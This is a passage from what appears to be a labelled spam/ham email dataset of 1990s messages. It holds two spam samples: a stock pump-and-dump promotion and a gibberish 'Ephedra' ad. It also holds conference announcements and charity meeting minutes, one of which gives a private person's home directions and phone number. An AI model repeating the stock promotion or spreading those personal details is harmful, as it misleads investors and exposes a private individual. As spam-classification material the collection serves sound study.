-0220",Fwd:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. In the next 45 days a media campaign will begin that will target not only customers for De Greko Communications but also show the investment community that the product is first rate and works efficiently. The company is currently targeting to obtain media coverage in: - Fortune Magazine, a Time Inc. Co. (TWX:NYSE) - Money Magazine, a Time Inc. Co. (TWX:NYSE) - Wall Street Journal, a Dow Jones Co (DJ:NYSE) - USA Today, a Division of Gannett Co. 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""We will be posting a pre-registration form for companies interested in deploying the service on their own website when we launch the service to businesses nationwide."" Do your research now! You have a load of press to read before Monday. Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. ",1,0 Yisreal ,"suresh@flamingo.stanford.edu, nikki@flamingo.stanford.edu, jana@flamingo.stanford.edu, cecile@flamingo.stanford.edu","Fri, 18 Apr 1997 17:58:58 -0800",Miracle stuff called Ephedra,"may tedium some norwich or concoct , puffin in standard ",1,0 """Prof. Martin GOLUMBIC"" ",THEORYNT@LISTSERV.NODAK.EDU,"Wed, 23 Apr 1997 14:01:38 -0700","[Theory-A] BISFAI'97, cfp"," ****** CALL FOR PARTICIPATION ****** BISFAI'97 The Fifth Bar-Ilan Symposium on Foundations of Artificial Intelligence Focusing on Intelligent Agents June 16-18, 1997 Bar-Ilan University, Ramat Gan, Israel in cooperation with Gelbart Institute for Mathematical Sciences The Leibniz Center for Research in Computer Science American Association for Artificial Intelligence Israeli Ministry of Science To BISFAI'97 Prospective Participants ------------------------------------- The focus of BISFAI'97 is on Intelligent Agents. The Symposium will, however, retain its broad scope. It includes high quality research papers in various areas of Artificial Intelligence, including machine learning, automated reasoning, knowledge representation, neural nets, and natural language processing, among others. The Symposium is part of the new Israeli Federated Computing Conference (IFCC). The IFCC also includes the Eighth Israeli Conference on Computer-Based Systems and Software Engineering (CBSE), sponsored by the ""IEEE Computer Society, Israel Section"", which will be held June 18-19, and the Fifth Israeli Symposium on Theory of Computing and Systems (ISTCS'97), which will be held June 17-19. For details on this conference, see the Web page located at: http://www.math.tau.ac.il/~mansour/istcs97/ BISFAI'97 Schedule Outline -------------------------- The scientific program includes six invited speakers and 21 contributed papers reviewed and selected by the program committee. Each one of the invited speakers has chosen a topic which is central to his scientific work and interests over the years. With these invited speakers and the mix of contributed papers, we expect to have a highly interesting symposium. The outline of the conference schedule is as follows: Monday June 16: Morning and afternoon sessions at Bar-Ilan University. Monday evening: Conference dinner in Jaffa. Tuesday June 17: Morning and afternoon sessions at Bar-Ilan University. (lunch and afternoon invited speaker shared with ISTCS.) Tuesday evening: Free Wednesday June 18: Morning and invited speaker session at Bar-Ilan University. Wednesday afternoon: Transfer to Herzlia for the IEEE CS 1997 IFCC Workshop: Computer Science -- The Interplay of Theory and Practice Wednesday evening: The joint BISFAI/ISTCS Banquet will honor Professor Amir Pnueli of the Weizmann Institute upon his receiving the prestigious ACM Turing Award. Distinguished Invited Speakers: C. Boutilier (U. of British Columbia) ""Stochastic Sequential Decision Problems: What AI has to Offer"" M. Kearns (AT&T) ""Accuracy Amplification by Top-Down Decision Tree Learning Algorithms"" J. Rosenschein(Hebrew University and AgentSoft) ""Intelligent Agents -- Foundation and Applications"" Y. Shoham (Stanford U.) ""From MS Office Assistant (TM, 97) to von Neumann and Morgenstern (no TM, 47)"" P. Struss (Technical University of Munich) ""Model-based Diagnosis of Physical Systems"" W. Wahlster (DFKI GmbH) ""Personalized Interface Agents"" BISFAI'97 Full Schedule ----------------------- Monday, June 16 8:00 --9:00 Conference registration 9:00 --9:05 Greetings 9:05 -- 10:05 Invited Talk 1 W. Wahlster (DFKI GmbH) ""Personalized Interface Agents"" 10:05 -- 10:30 Coffee Break 10:30 -- 12:30 Morning Paper Session 1 ""Bidding Mechanisms for Data Allocation in Multi-agent Environments"" Rina Schwartz and Sarit Kraus (Bar-Ilan U.) ""CATS: An Architecture for Scalable Intelligent Agent Applications"" Philip Emmerman (Army Research Lab), James Hendler and V. S. Subrahmanian (U. of Maryland) 11:20 -- 11:40 Short Break ""The Lifestyle Finder Agent: Intelligent User Profiling using Large-scale Demographic Data"" Bruce Krulwich (AgentSoft, Israel). ""Agents for Individualized Instruction Using Distributed Resources"" Jacqueline A. Haynes, Michael Miller, and L. Jay Wantz Intelligent Automation, Inc., Rockville, MD, USA 12:30 -- 14:00 Lunch 14:00 -- 15:00 Invited Talk 2 Yoav Shoham (Stanford U.) ""From MS Office Assistant (TM, 97) to von Neumann and Morgenstern (no TM, 47)"" 15:00 -- 15:30 Coffee Break 15:30 -- 17:50 Afternoon Paper Session 1 ""A Coordination Protocol for Abductive Logic Agents"" A. Ciampolini, E. Lamma, P. Mello, and C. Stefanelli (U. di Bologna) ""A Formal Framework for Accountable Agent Interactions"" Carles Sierra and Pablo Noriega (IIIA-CSIC, Spain) 16:20 -- 16:40 Short Break ""NetNeg: A Hybrid Interactive Architecture for Composing Polyphonic Music in Real-time"" Claudia Goldman, Dan Gang, Jeffrey Rosenschein, and Daniel Lehmann (Hebrew U.) ""Musag: An Agent that Learns What You Mean"" Claudia Goldman, Amir Langer and Jeffrey Rosenschein (Hebrew U.) ""Moving up the Information Chain: Deploying Softbots on the World Wide Web"" Oren Etzioni (U. of Washington) 19:00 -- Conference dinner Tuesday, June 17 9:00 -- 10:00 Invited Talk 3 Craig Boutilier (U. of British Columbia) ""Stochastic Sequential Decision Problems: What AI has to Offer"" 10:00 -- 10:30 Coffee Break 10:30 -- 12:30 Morning Paper Session 2 ""Similarity-based Methods for Word Sense Disambiguation"" Ido Dagan, Lillian Lee, and Fernando Pereira (Bar-Ilan U.) ""Ellipsis in a Typed Feature Structure Grammar"" Howard Gregory and Shalom Lappin (U. of London) 11:20 -- 11:40 Short Break ""Using Lexical Chains for Text Summarization"" Regina Barzilai and Michael Elhadad (Ben-Gurion U.) ""Introspective and Elaborative Processes in Communicating Rational Agents"" Charlie Ortiz (Harvard U.) 12:30 -- 14:00 Lunch (joint with ISTCS) 14:00 -- 15:00 Invited Talk 4 (joint with ISTCS) Michael Kearns (AT&T) ""Accuracy Amplification by Top-Down Decision Tree Learning Algorithms"" 15:00 -- 15:30 Coffee Break 15:30 -- 17:30 Afternoon Paper Session 2 ""Mini-Buckets: A General Scheme of Generating Approximations in Automated Reasoning"" Rina Dechter (UC Irvine) ""STCSP -- Structured Temporal Constraint Satisfaction Problems"" Mira Balaban and Tzachi Rozen (Ben Gurion U.) 16:20 -- 16:40 Short Break ""A Practical Algorithm for Finding Optimal Triangulations"" Kirill Shoikhet and Dan Geiger (Technion) ""Real-time Intelligent Set-Point Controllers for Uncertain Models of Mechanical Manipulators Driven by Brush DC Motors"" Amit Ailon (Kwangju Institute, Korea) Wednesday, June 18 8:00 --9:00 Conference registration 9:00 --9:05 Greetings 9:05 -- 10:05 Invited Talk 5 Peter Struss (Technical University of Munich) ""Model-based Diagnosis of Physical Systems"" 10:05 -- 10:30 Coffee Break 10:30 -- 12:30 Morning Paper Session 3 ""A Logic for Reasoning about Goal-Directed Behavior"" Erik Sandewall (Linkoping U.) ""A Note on the Stable Model Semantics for Logic Programs"" Michael Kaminski (Technion) 11:20 -- 11:40 Short Break ""Environments as Extensions of Internal Representations"" Zippora Arzi-Gonczarowski (Typographics, Israel) ""On-line vs. Off-line Exploration of Repeated Tasks"" Shlomo Argamon-Engelson, S. Kraus, and S. Sina (Bar-Ilan and U. of Maryland) 12:30 -- 12:40 Closing Remarks 13:00 -- Transfer to Herzlia for IEEE CS 1997 IFCC Workshop: ""Computer Science -- The Interplay of Theory and Practice"" 14:30 -- 15:10""Compression Technology: Theory and Practice"" Abraham Lempel, Hewlett-Packard Israel Science Center and Technion 15:10 -- 15:50""Formal Methods and their Application to Software Development"" Amir Pnueli, Weizmann Institute 15:50 -- 16:10 Coffee Break 16:10 -- 16:50""Intelligent Agents -- Foundation and Applications"" Jeffrey Rosenschein, Hebrew University and AgentSoft 16:50 -- 17:30""Algebraic Complexity and its Use"" Shmuel Winograd, IBM T. J. Watson Research Center 17:30 -- 18:15Panel Discussion: ""Linking Academy and Industry"" Abraham Lempel, Hewlett-Packard Israel Science Center and Technion David Notkin, University of Washington Amir Pnueli, Weizmann Institute Michael Rodeh (moderator), Technion and IBM Haifa Research Lab Jeffrey Rosenschein, Hebrew University and AgentSoft Shmuel Winograd, IBM T. J. Watson Research Center 19:00 -- The joint BISFAI/ISTCS Banquet honoring Professor Amir Pnueli of the Weizmann Institute upon his receiving the prestigious ACM Turing Award. BISFAI'97 Registration ---------------------- There is no fee for attending BISFAI'97 lectures, which are open to the public. However, we request participants to register by June 5th so we can plan for enough refreshments and abstract proceedings. Participants are expected to pay for symposium events separately. A full event package is available at $120 and includes abstract booklet and all events (it does not include cost of transportation to and from events). Individual event tickets are also available in advance on the following basis: Lunch $30.00 (3 lunches @ $10 each) Conference dinner Mon. June 16 $35.00 IFCC Herzlia CS Workshop Wed. June 18 $20.00 Joint BISFAI-ISTCS Banquet Wed. June 18 $35.00 Late registration and event tickets may be arranged at the door. BISFAI'97 Hotel Arrangements ---------------------------- The BISFAI'97 will be held at the Bar-Ilan Campus in Ramat Gan (June 16-18). Ramat Gan is a city near Tel Aviv. The symposium banquet (evening of Mon. June 16) will be held at the Shirat Hayam restaurant, Jaffa. The Joint BISFAI-ISTCS Banquet (evening of Wed. June 18) will be held at the Dan Acadia Hotel in Herzlia. We have reserved several blocks of hotel accommodations. Reservations must be made directly with the agent: Sharon Tours, attn: Mike and Danny Amir P.O.Box 2605, Ramat Gan, Israel Tel: +972-3-670-1350 Fax: +972-3-672-9219 E-mail: danny@sharon-tours.co.il while mentioning the Bar-Ilan Symposium BISFAI'97. Kfar HaMaccabia Hotel in Ramat Gan is a first-class hotel which also has sports facilities available gratis for the Symposium participants. Bar-Ilan University is a short ride, or a half-hour walk, from this hotel. The room rate is $76 single or $94 double (including breakfast). Hotel rooms at Tel Aviv (approximately 25 minutes drive from Bar-Ilan U.) are also available. Prices vary between $60-$120. All prices are payable in foreign currency or foreign credit card directly to Sharon Tours. Israeli residents or those paying in Israeli shekels must add 17% VAT. Hotel space may be limited, so you are advised to make reservations early. Sharon Tours will be glad to make whatever other travel or touring arrangements you may require. BISFAI'97 Student Travel Grants ------------------------------- A limited number of grants for partial support will be available for graduate students and postdocs. Those interested in applying for such a grant should send (1) a short statement about their research and (2) the name of at least one faculty member who can recommend them, to: Prof. Sarit Kraus BISFAI'97 Symposium Dept. of Mathematics and Computer Science Bar-Ilan University, Ramat Gan, Israel E-mail: sarit@cs.biu.ac.il Fax: +972-3-535-3325 The deadline for grant requests is May 10, 1997. BISFAI'97 Local Arrangements: ----------------------------- For questions concerning local arrangements and organization contact: Dr. Ariel Frank BISFAI'97 Symposium Dept. of Mathematics and Computer Science, Bar-Ilan University, Ramat Gan, Israel E-mail: bisfai@cs.biu.ac.il Tel: +972-3-5318407/8 Fax: +972-3-5353325 For the latest information check at: http://www.cs.biu.ac.il/~schwart/bisfai97.html We are all looking forward to seeing you at BISFAI'97 in Israel. Sarit Kraus Leo Joskowicz Daniel Lehmann =============================== REGISTRATION FORM ================================== BISFAI'97 -- REGISTRATION FORM The Fifth Bar-Ilan Symposium on Foundations of Artificial Intelligence June 16-18, 1997 Bar-Ilan University, Ramat Gan, Israel Name: _________________________________________________________ Affiliation: _________________________________________________________ Postal address: _________________________________________________________ _________________________________________________________ _________________________________________________________ Phone number: _________________________________________________________ Fax number: _________________________________________________________ E-mail address: _________________________________________________________ Event registration: # of tickets TOTAL Lunch (each)- $10.00 Conference dinner Mon. June 16. $35.00 IFCC Herzlia CS Workshop Wed. June 18. $20.00 Joint BISFAI-ISTCS Banquet Wed. June 18. $35.00 ---------------------------------------- ----- GRAND TOTAL _____ Prices are in US Dollars. Make all checks payable to ""Bar-Ilan University Institute for Computer Science Research"". Please complete and send to: BISFAI'97 Symposium Dept. of Mathematics and Computer Science, Bar-Ilan University, Ramat Gan, Israel E-mail: bisfai@cs.biu.ac.il Tel: +972-3-5318407/8 Fax: +972-3-5353325 ===================================================================================== ",0,1 Rob van Glabbeek ,suresh@CS.Stanford.EDU,"Wed, 23 Apr 1997 20:09:00 -0700",[concur97@IPIPAN.Waw.PL: registration for CONCUR'97],"------- Start of forwarded message ------- >Received: from CS.Stanford.EDU (CS.Stanford.EDU [171.64.64.64]) by kilby.Stanford.EDU (8.7.5/8.7.1) with ESMTP id DAA23941 for ; Thu, 3 Apr 1997 03:02:42 -0800 (PST) Date: Thu, 3 Apr 1997 12:46:09 +0200 (MET DST) From: ""CONCUR'97 Conference"" To: wimmel@uni-koblenz.de, priese@uni-koblenz.de, tony@fi.muni.cz, rvg@CS.Stanford.EDU, Ahmed.Bouajjani@imag.fr, ma@pa.dec.com, adg@cl.cam.ac.uk, dw@dcs.warwick.ac.uk, Peter.Sewell@cl.cam.ac.uk, sm@it.dtu.dk, doron@research.bell-labs.com, busi@cs.unibo.it, luettgen@fmi.uni-passau.de, robert@lri.fr, ehrig@cs.tu-berlin.de, geislerr@cs.tu-berlin.de, mklar@cs.tu-berlin.de, padberg@cs.tu-berlin.de, josb@win.tue.nl, Cedric.Fournet@inria.fr, selinger@math.upenn.edu, tah@eecs.berkeley.edu, orna@eecs.berkeley.edu, sriramr@eecs.berkeley.edu, hanol@ida.liu.se, langerak@cs.utwente.nl, annap@steam.stanford.edu, vgupta@parc.xerox.com, mayrri@informatik.tu-muenchen.de, jhcg@hplb.hpl.hp.com, m.shields@mcs.surrey.ac.uk, sas@cs.sunysb.edu, pst@ssf.ernet.in, gwinskel@brics.dk Subject: registration for CONCUR'97 Cc: concur97@wars.ipipan.waw.pl X-Sun-Charset: US-ASCII Content-Type: text Content-Length: 15086 EIGHTH INTERNATIONAL CONFERENCE ON CONCURRENCY THEORY (CONCUR'97) ***************************************************************** July 1 - 4, 1997, Warsaw, Poland PROGRAM, GENERAL INFORMATION AND REGISTRATION FORM -------------------------------------------------- You can find program, general information and registration form at CONCUR'97 web sites: http://www.ipipan.waw.pl/~concur97/news.htm http://www.ipipan.waw.pl/conferences/concur97 ***** C O N C U R' 97 P R O G R A M Tuesday, July 1 - - - - - - - - 9:15-9:30 Welcome and Introductory Remarks 9:30-10:30 Invited Talk: Title will be announced later Glynn Winskel (Aarhus University) 10:30-11:00 On Implementations and Semantics of a Concurrent Programming Language Peter Sewell (Computer Laboratory, Cambridge) 11:00-11:30 Coffee/Tea Break 11:30-12:00 A Universal Reactive Machine Henrik Reif Andersen, Simon Moerk, Morten Ulrik Soerensen (Technical University of Denmark, Lyngby) 12:00-12:30 Implicit typing a la ML for the join-calculus Cedric Fournet, Luc Maranget, Didier Remy (INRIA Rocqencourt), Cosimo Laneve (Univ. Bologna) 12:30-14:30 Lunch 14:30-15:00 First-Order Axioms for Asynchrony Peter Selinger (University of Pennsylvania) 15:00-15:30 Axiomatizing Flat Iteration Rob van Glabbeek (Stanford University) 15:30-16:00 High Level Expressions with their SOS Semantics Hanna Klaudel, Robert-C. Riemann (LRI, Universite Paris-Sud) 16:00-16:30 Coffee/Tea Break 16:30-17:00 A Rigorous Analysis of Concurrent Operations on B-Trees Anna Philippou, David Walker (University of Warwick) 17:00-17:30 How to Parallelize Sequential Processes Antonin Kucera (Masaryk University, Brno) - Conference Banquet at The Royal Castle in Warsaw - Wednesday, July 2 - - - - - - - - - - 9:30-10:30 Invited Talk: Cyclic Vector Languages Michael Shields (University of Surrey) 10:30-11:00 Causal ambiguity and partial orders in event structures Rom Langerak, Ed Brinksma (University of Twente), Joost-Pieter Katoen (Friedrich-Alexander University) 11:00-11:30 Coffee/Tea Break 11:30-12:00 Fair Simulation Thomas A. Henzinger, Orna Kupferman, Sriram k. Rajamani (UC Berkeley) 12:00-12:30 Bisimulation and Propositional Intuitionostic Logic Anna Patterson (Stanford University) 12:30-14:30 Lunch 14:30-15:30 Invited Talk: Recent Developments in the Mathematics of Reactive Systems Jeremy Gunawardena (Hewlett-Packard Labs., Bristol) 15:30-16:00 Horizontal and Vertical Structuring Techniques for Statecharts H. Ehrig, R. Geisler, J. Padberg (Technische Universitaet Berlin), M. Klar (Fraunhofer Institut fuer Software- und Systemtechnik, ISST) 16:00-16:30 Coffee/Tea Break 16:30-17:00 Algebraic Characterization of Petri Net Pomset Semantics Harro Wimmel, Lutz Priese (University of Koblenz) 17:00-17:30 Synthesis of Nets with Inhibitor Arcs Nadia Bussi, G. Michele Pinna (University of Siena) Thursday, July 3 - - - - - - - - - 9:30-10:30 Invited Talk: A Product Version of Dynamic Linear Time Temporal Logic P. S. Thiagarajan (SPIC Mathematical Institute, Madras) 10:30-11:00 Bounded Stacks, Bags and Queues Jos C. M. Baeten (Eindhoven University of Technology), Jan A. Bergstra (University of Amsterdam) 11:00-11:30 Coffee/Tea Break 11:30-12:00 Modularity for Timed and Hybrid Systems Rajeev Alur, Thomas A. Henzinger (UC Berkeley) 12:00-12:30 An Algebraic Theory of Distributed Time Rance Cleaveland (North Carolina State University), Gerald Luettgen, Michael Mendler (Universitaet Passau) 12:30-13:00 On the Complexity of Verifying Concurrent transition Systems David Harel (The Weizmann Institute), Orna Kupferman (UC Berkeley), Moshe Vardi (Rice University, Huston) 13:00-14.30 Lunch - A trip to Wilanow Castle - Friday, July 4 - - - - - - - - 9:30-10:30 Invited Talk: Partial-Order Reduction in the Weak Modal Mu-Calculus Scott A. Smolka (Stony Brook) (a joint work with Y. S. Ramakrishna) 10:30-11:00 Probabilistic Concurrent Constraint Programming Vineet Gupta (Xerox PARC), Radha Jagadeesan (Loyola University, Chicago), Vijay Saraswat (ATT Research) 11:00-11:30 Coffee/Tea Break 11:30-12:00 Reasoning about Cryptographic Processes in the Spi Calculus Martin Abadi (Digital Equipment Corporation), Andrew D. Gordon (University of Cambridge) 12:00-12:30 Adding Partial Orders to Linear Temporal Logic Girish Bhat (North Carolina State University), Doron Peled (Bell Laboratories) 12:30-14:30 Lunch 14:30-15:00 Reachability Analysis of Pushdown Automata: Application to Model-Checking Ahmed Bouajjani (Verimag, Grenoble), Javier Esparza (TUM, Munich), Oded Maler (Verimag, Grenoble) 15:00-15:30 Model Checking PA-Processes Richard Mayr (TUM, Munich) 15:30-16:00 Proving Safety Properties of Infinite State Systems by Compilation into Presburger Arithmetic L. Fribourg, H. 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(B) udavam karangal, based in madras- suggested by rajaram, who has visited this site. (C) a school to be set up in vir village in konkan district of maharashtra- suggested by anu, who recently visited the site. (D) greater funding to rishi valley foundation, for some new projects that are planning to embark upon. more information is being requested on all these projects. upon receiving this information, another meeting will be called and the projects to be funded will be finalised. if anyone elsi knows of other projects, please let me know and we will try and get in touch with them to find out more information. thanks anuraag",0,0 rxk@fns.com,niranjan@raleigh.ibm.com,"Wed, 07 May 1997 16:29:48 -0400",June 29th 1996 minutes,">From owner-asha-tamasha@ds1.che.ncsu.edu Tue Jul 2 11:51 EDT 1996 Return-Path: Received: from fns.com (ops1-fddi) by colossus.fns.com (5.0/SMI-SVR4) id AA21667; Tue, 2 Jul 1996 11:51:04 -0400 Received: from ecoult (ecoult.ncsu.edu) by fns.com (5.0/SMI-SVR4) id AA14392; Tue, 2 Jul 1996 11:49:14 +0500 Received: by ecoult (5.57/ECO NCSU/11/11/90) id AA10750; Tue, 2 Jul 96 11:40:36 -0400 Received: by che.ncsu.edu; (5.65/1.1.8.2/07Jun94-8.2MPM) id AA24826; Tue, 2 Jul 1996 11:38:15 -0400 From: Ravi Devarajan Message-Id: <199607021539.AA00230@tamarind.unx.sas.com> Subject: Min. for meeting on 29june96 (fwd) To: asha-tamasha@ds1.che.ncsu.edu Date: Tue, 2 Jul 1996 11:39:05 -0400 (EDT) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Sender: owner-asha-tamasha@ds1.che.ncsu.edu Precedence: bulk Content-Type: text/plain; charset=US-ASCII Content-Length: 5348 Status: RO > Minutes of the General meeting of ASHA-RTP > June 29th 1996 > > ------------------------------------------------------------ > > I. Updates of the Projects subcommittee > 1. The projects subcommittee meeting had taken place prior to the > general meeting and the following decisions have been made. > YES!!!!!! > A. We will continue to support the projects at Nauvbunker and > Rishsi valley. > B. ASHA will be able to support two more projects and there are > currently three candidates for such projects. > C. The two new projects will be supported on a one time basis > instead of the long term commitment. > Action items for Projects subcommittee. > A. Determine which of the other two projects will be supported > B. Determine the exact nature and amount of support. > > II. Updates of the Fundraising subcommittee. > 1. Rajaram has been able to set up a schedule for the summer camp > project to be done in conjunction with the Hindu Society; > A meeting and mail messages have resulted in the following. > A. ASHA will sponsor 3 events at the Hindu camp > a. Two 40 min. yoga sessions - > b. A message of hope where children at the camp will write > letters to the children in one of the projects. > c. A Potpourri session where the children will participate in > different games. > Action Items for the Hindu camp > A. This week finalize ideas for exact events i.e. What games, to > whom should the letters be sent, how should they be written > B. Work/play sessions will be held nest week to complete the > set up for the potpourri. i.e. Make up treasure hunt clue > set up puzzles. collect the required for the different games. > Volunteers Needed a couple of evenings next week to help set up the games. > > 2. Penny drive Not much progress has been made on the penny drive > a suggestion was made that the pennies collected for the games > for the Hindu camp could be used to jump start the penny drive. > Ajay S. approached some of the Indian stores in Dhuram.Tthe > stores appeared willing but needed to see the > literature on ASHA to before allowing us to set up the jars. > Action Items for Penny drive > A. Design and set up penny jars in the Indian stores > B. Get the requisite materials to the Indian stores. > > 3. No new decisions were made in regards to the c -sponsorship > issue > Action items for Co-Sponsership issues > A. Write the guidelines that were determined at the previous and > make them available to the ASHA volunteers. > > III. Updates on the Publicity subcommittee. > 1. The Publicity subcommittee has not had an opportunity to meet > since the lst general meeting. > Action Items for the Publicity subcommittee > A. Set up a meeting of the publicity subcommittee > B. Send out thank you notes and calendars to people who gave Ads > for Shidoree. > C. Determine strategies to publicize ASHA in local universities. > a. Dipa Apte said she would help with Duke. > D. Determine strategies to publicize ASHA amongst Indian > professionals in local triangle companies. > a. i.e. soliciting local Indian lawyers, doctors and > faculty to contribute to ASHA on a regular basis. > E. Look for corporate funding opportunities. > F. Write and send out the next newsletter. > G. Attempt to set up Pub spot ASHA on UNC-TV or Mrs. Garg's Show. > > IV. Updates on the Fall fund-raiser > 1. Mail messages were sent out to determine peoples interest > and desires regarding the type of Fall fund-raiser we would > like to Present. Using those replies as a basis and meeting > discussion the following decisions were reached. > A. We should produce a Fall fund raiser. > B. The fall fund-raiser can be organized by ASHA, however ASHA > members' participation cannot be as extensive as in Shidoree. > C. The fund-raiser will include participation by Raj's group (s). > a. this is musical which plays more modern dancing music. > b. Inclusion of a fashion show as a main or break portion of > this program > c. The type of food services (snacks while dancing or a > proper sit down meal) was also discussed. > Action Items for Fall fund-raiser > A. Surveys will be posted this week July 1st-8th on ASHA-TAMASHA to > get more input and better develop some of the ideas presented. > B. Set up a meeting next week to solidify the ideas and decide on > the contents and nature of the show and food. > ------------------------------------------------------------ > > Anu > >",0,0 rxk@fns.com,niranjan@raleigh.ibm.com,"Wed, 07 May 1997 16:30:04 -0400",June 17th 1996 agenda -- correct one,">From owner-asha-tamasha@ds1.che.ncsu.edu Fri Jun 14 09:44 EDT 1996 Return-Path: Received: from fns.com (ops1-fddi) by colossus.fns.com (5.0/SMI-SVR4) id AA09497; Fri, 14 Jun 1996 09:44:22 -0400 Received: from ecoult (ecoult.ncsu.edu) by fns.com (5.0/SMI-SVR4) id AA17292; Fri, 14 Jun 1996 09:42:22 +0500 Received: by ecoult (5.57/ECO NCSU/11/11/90) id AA04738; Fri, 14 Jun 96 09:38:34 -0400 Received: by che.ncsu.edu; (5.65/1.1.8.2/07Jun94-8.2MPM) id AA14256; Fri, 14 Jun 1996 09:37:09 -0400 Date: Fri, 14 Jun 1996 09:37:56 -0400 From: rxk@fns.com (Rajaraman Krishnan) Message-Id: <9606141337.AA06103@fep63.fns.com> To: asha-tamasha@ds1.che.ncsu.edu Subject: Summer Camp meeting -- Help Required Sender: owner-asha-tamasha@ds1.che.ncsu.edu Precedence: bulk Content-Type: text Content-Length: 1957 Status: RO Hi Everyone, I would like to hold a meeting on Monday to meet with all people interested in helping out with the Summer camp. As far as Yoga goes, we should not need any preparations before the event. During the event we would need volunteers. But Mrs. Yash Garg would be providing them. So if anything we would need one extra person there from Asha. For the other two events, we would need to work on the ideas and come up with interesting programs. We would certainly need help there. So anyway we will talk about all this during our Monday meeting. All people who would be helping out with this event must attend this meeting. And please everyone, we need all the help we can get. Particularly students, because the events will be during the day on Weekdays. Let me know if this time is not convenient. Today evening I will send a mail confirming the time and give directions to my place. For those who do not remember my last mail, we have decided to have the following events. 1. Yoga -- Two one hour sessions of Yoga (actual Yoga class would be for 40 mins) from 9:00 to 10:00 on two days. Gurvinder would conduct this. 2. Message of Hope -- In order to spread the message of Asha, we will tell the Summer camp children about Asha, about under-priviledged children in India, about how Asha helps them etc. We will pick a school in India that we are sponsoring that has about 40 kids. and then ask each one of the summer camp children to write letters to one kid in that list. We will also ask them to bring some small gift for the child in India. We havent decided who will organise it. This will occupy another one hour session. 3. Potpourri -- Divide the children into teams. Alternately each team will have to pick a task from a basket. These may be things like ""sing an Indian song"", or ""bray like a donkey"" or ""talk for a minute about what things you find common between India and US"" ... It may also be GK questions about India. Rajaram",0,0 rxk@fns.com,niranjan@raleigh.ibm.com,"Wed, 07 May 1997 16:30:33 -0400",July 14th 1996 agenda,">From rxk@fns.com Fri Jul 12 14:13 EDT 1996 Return-Path: Received: from dev8.fns.com by colossus.fns.com (5.0/SMI-SVR4) id AA29515; Fri, 12 Jul 1996 14:12:57 -0400 Received: by dev8.fns.com (5.x/SMI-SVR4) id AA04808; Fri, 12 Jul 1996 14:07:39 -0400 Date: Fri, 12 Jul 1996 14:07:39 -0400 From: rxk@fns.com (Rajaraman Krishnan) Message-Id: <9607121807.AA04808@dev8.fns.com> To: Pratima_Virkar.HEALTHPOINT.GLAXO@NOTES.compuserve.com, sasr3d@unx.sas.com, sd43310@glaxo.com, sksharm1@eos.ncsu.edu, srinivas@ds1.che.ncsu.edu Subject: Summer Camp Meeting Cc: rxk@colossus Content-Type: text Content-Length: 2124 Status: RO X-Mozilla-Status: 0001 We will have a meeting at my place on Sunday at 10:30 am. If people want to make this a mini-potluck meeting, let me know. Otherwise it will be a non-potluck meeting. We need the following things for the Potpourri. 1. Macaroni -- I will buy this. 2. A reasonably think string. Does anyone have the twine kind of string at home? This is to string the Macaronis. Ordinary cloth thread is too flimsy. If you have some thicker string let me know and bring it over to the meeting. Otherwise if you have any idea where I can get such a string let me know. 3. Coins of all denominations -- Bring as many as you can to the meeting. 4. If anyone has 6-8 identical small boxes or small bags bring it over. This is for the putting the coins in before giving to the teams. 5. Various things for the memory challenge puzzle. Ravi will you bring this directly to the Hindu Samaj on Monday? Also let us know if you want us to bring some stuff. We should try to have 50 or 75 different things. The directions to my place are as follows: Take the outer-beltline (I-440 with increasing exit numbers). Take exit 10 to Old Wake forest road. On the exit all the 3 lanes will turn left. You also turn left and you will be on Old Wake forest road. Go past 3 or 4 traffic lights, keep to the left lane. You will come to a traffic light for Hardimont road (On the left it is Hardimont road and on the right it is New Hope Church Road). At that light, on the left you will also see a Wendy's and a Crown Gas station. Take a left on Hardimont road and then an immediate right on to Bland road. On Bland road you will see Tree top apartments to your left. That is where I live but dont enter from Bland road. Steinbeck Dr. will come on your left. Turn left. The first four left turns will lead into the apt complex. The second one will have signs for the information center. Take the third one. You will see signs for building 1316. In building 1316 my apartment (Apt F) is on the first floor. Note that there are two entrances to this building. You will have to take the second one. Once again my phone number is 878-3781. Rajaram",0,0 rxk@fns.com,niranjan@raleigh.ibm.com,"Wed, 07 May 1997 16:31:05 -0400",May 14th 1996 minutes,">From owner-asha-tamasha@ds1.che.ncsu.edu Fri May 17 17:03 EDT 1996 Return-Path: Received: from fns.com (ops1-fddi) by colossus.fns.com (5.0/SMI-SVR4) id AA26850; Fri, 17 May 1996 17:03:21 -0400 Received: from ecoult (ecoult.ncsu.edu) by fns.com (5.0/SMI-SVR4) id AA20694; Fri, 17 May 1996 17:01:03 +0500 Received: by ecoult (5.57/ECO NCSU/11/11/90) id AA22404; Fri, 17 May 96 16:52:34 -0400 Received: by che.ncsu.edu; (5.65/1.1.8.2/07Jun94-8.2MPM) id AA04382; Fri, 17 May 1996 16:51:30 -0400 From: Ravi Devarajan Message-Id: <199605172051.AA06032@tamarind.unx.sas.com> Subject: Minutes of 14May96 meeting To: asha-tamasha@ds1.che.ncsu.edu Date: Fri, 17 May 1996 16:51:24 -0400 (EDT) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Sender: owner-asha-tamasha@ds1.che.ncsu.edu Precedence: bulk Content-Type: text/plain; charset=US-ASCII Content-Length: 9751 Status: RO Folks, Here are the minutes of the meeting that was held at our place. ************************************************************************ Minutes of General Meeting of Asha-RTP Tuesday, May 14, 8:00pm Ravi & Meera's house, Cary, NC ************************************************************************ Attendees: Ajay, Ashwin, Anu, Dipa, Easwar, Farzana, Meera, Mona, Niranjan, Paula, Pradeep, Prakash, Prashant, Rajaram, Ram, Ravi, Sailaja, Sumita, Supriya, Srinivas, Vasanthi 1. Introduction to Asha for new volunteers Ravi gave a brief 